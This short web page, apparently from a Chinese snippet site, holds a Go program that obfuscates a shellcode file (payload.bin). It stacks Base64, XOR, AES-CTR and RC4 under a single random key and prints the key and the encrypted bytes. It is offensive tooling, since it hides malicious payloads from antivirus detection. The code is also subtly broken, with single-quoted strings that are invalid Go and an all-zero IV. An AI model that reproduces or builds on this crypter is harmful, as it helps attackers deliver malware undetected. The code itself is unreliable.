Go语言实现Shellcode加密:Base64编码、XOR、AES、RC4
package main
import ( "encoding/base64" "crypto/rand" "crypto/aes" "crypto/cipher" "crypto/rc4" "fmt" "io/ioutil" )
func main() { // 读取payload.bin文件 data, err := ioutil.ReadFile('payload.bin') if err != nil { panic(err) }
// 对shellcode进行base64编码
b64 := base64.StdEncoding.EncodeToString(data)
// 生成随机密钥
key := make([]byte, 32)
_, err = rand.Read(key)
if err != nil {
panic(err)
}
// 对shellcode进行XOR加密
xor := make([]byte, len(b64))
for i := 0; i < len(b64); i++ {
xor[i] = b64[i] ^ key[i%len(key)]
}
// 对XOR加密后的数据进行AES加密
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
iv := make([]byte, aes.BlockSize)
stream := cipher.NewCTR(block, iv)
encrypted := make([]byte, len(xor))
stream.XORKeyStream(encrypted, xor)
// 对AES加密后的数据进行RC4加密
cipher, err := rc4.NewCipher(key)
if err != nil {
panic(err)
}
rc4encrypted := make([]byte, len(encrypted))
cipher.XORKeyStream(rc4encrypted, encrypted)
// 输出密钥和加密后的shellcode
fmt.Printf('Key: %v\n', key)
fmt.Printf('%s', rc4encrypted)
}
原文地址: https://www.cveoy.top/t/topic/lPha 著作权归作者所有。请勿转载和采集!